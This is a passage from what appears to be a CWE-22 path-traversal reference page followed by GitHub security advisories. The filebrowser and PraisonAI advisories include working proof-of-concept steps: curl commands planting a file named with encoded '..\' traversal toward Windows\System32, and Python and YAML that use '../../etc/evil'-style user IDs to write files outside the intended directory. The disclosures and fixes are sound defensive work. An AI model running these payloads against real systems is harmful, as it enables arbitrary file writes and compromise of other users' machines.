CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16097 vulnerabilities reference this CWE, most recent first.
GHSA-GXG9-F69X-C3PW
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2024-04-04 02:55The Metasploit Framework module "auxiliary/admin/http/telpho10_credential_dump" module is affected by a relative path traversal vulnerability in the untar method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.
{
"affected": [],
"aliases": [
"CVE-2020-7377"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-24T19:15:00Z",
"severity": "HIGH"
},
"details": "The Metasploit Framework module \"auxiliary/admin/http/telpho10_credential_dump\" module is affected by a relative path traversal vulnerability in the untar method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.",
"id": "GHSA-gxg9-f69x-c3pw",
"modified": "2024-04-04T02:55:54Z",
"published": "2022-05-24T17:26:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7377"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/issues/14015"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GXGH-8P3V-3JVV
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30An improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiManager, FortiAnalyzer versions 7.4.0 through 7.4.2 and 7.2.0 through 7.2.5 and 7.0.0 through 7.0.12 and 6.4.0 through 6.4.14 and 6.2.0 through 6.2.12 and 6.0.0 through 6.0.12 allows attacker to execute unauthorized code or commands via crafted HTTP or HTTPs requests.
{
"affected": [],
"aliases": [
"CVE-2024-33502"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:29Z",
"severity": "MODERATE"
},
"details": "An improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) in Fortinet FortiManager, FortiAnalyzer versions 7.4.0 through 7.4.2 and 7.2.0 through 7.2.5 and 7.0.0 through 7.0.12 and 6.4.0 through 6.4.14 and 6.2.0 through 6.2.12 and 6.0.0 through 6.0.12 allows attacker to execute unauthorized code or commands via crafted HTTP or HTTPs requests.",
"id": "GHSA-gxgh-8p3v-3jvv",
"modified": "2025-01-14T15:30:52Z",
"published": "2025-01-14T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33502"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-143"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXJ5-H4J6-FMFX
Vulnerability from github – Published: 2025-04-22 18:32 – Updated: 2025-04-22 18:32NVIDIA NeMo Framework contains a vulnerability where an attacker could cause an improper limitation of a pathname to a restricted directory by an arbitrary file write. A successful exploit of this vulnerability might lead to code execution and data tampering.
{
"affected": [],
"aliases": [
"CVE-2025-23250"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-22T16:15:44Z",
"severity": "HIGH"
},
"details": "NVIDIA NeMo Framework contains a vulnerability where an attacker could cause an improper limitation of a pathname to a restricted directory by an arbitrary file write. A successful exploit of this vulnerability might lead to code execution and data tampering.",
"id": "GHSA-gxj5-h4j6-fmfx",
"modified": "2025-04-22T18:32:11Z",
"published": "2025-04-22T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23250"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5641"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GXJX-7M74-HCQ8
Vulnerability from github – Published: 2026-06-12 21:53 – Updated: 2026-06-12 21:53Summary
filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.
Details
http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive,
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.
The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.
PoC
Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).
# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"
# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PW\"}")
# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
-H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY
Observed output (verbatim):
mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True
Server-side, the file exists with a literal backslash name:
-rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txt
The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....
Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:
safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes)
This proves / is handled but \ is the unhandled gap.
To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out
Impact
Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).
Affected versions
All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.
Suggested fix
Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host
Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54093"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T21:53:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nfilebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory \u2014 arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites \u0027\\\u0027 on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n FileInfo: info,\n NameInArchive: nameInArchive,\n Open: func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == \u0027/\u0027`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5\n# wait for /health == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"\u003cpassword from docker logs\u003e\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http://localhost:8088/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o /dev/null -w \"mkdir=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/\" -H \"X-Auth: $TOK\"\nFNAME=\u0027..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt\u0027\ncurl -s -o /dev/null -w \"putfile=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/${FNAME}?override=true\" \\\n -H \"X-Auth: $TOK\" --data-binary \u0027PWNED-BY-TONGHUAROOT\u0027\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o /tmp/fb_evil.zip \"http://localhost:8088/api/raw/evilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - \u003c\u003c\u0027PY\u0027\nimport zipfile, binascii\nz = zipfile.ZipFile(\u0027/tmp/fb_evil.zip\u0027)\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open(\u0027/tmp/fb_evil.zip\u0027,\u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b\u0027\\x5c\u0027 in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: [\u0027..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt\u0027]\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r----- 1 user user 20 ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** \u2014 a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: [\u0027normal.txt\u0027]\nPUT ..%2F..%2Fevil2.txt -\u003e HTTP 301 (collapsed by path.Clean; nothing escapes)\n```\nThis proves `/` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip / WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker\u0027s directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root\u0027s parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.",
"id": "GHSA-gxjx-7m74-hcq8",
"modified": "2026-06-12T21:53:18Z",
"published": "2026-06-12T21:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames"
}
GHSA-GXM2-6W7V-29GQ
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19There is a Directory traversal vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2021-22404"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-28T13:15:00Z",
"severity": "MODERATE"
},
"details": "There is a Directory traversal vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-gxm2-6w7v-29gq",
"modified": "2022-05-24T19:19:10Z",
"published": "2022-05-24T19:19:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22404"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2021/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GXMW-5F7X-6G22
Vulnerability from github – Published: 2026-08-25 15:09 – Updated: 2026-08-25 15:09Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
-
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
-
Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior. -
Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems. -
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
-
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) |
praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor |
FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 |
Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
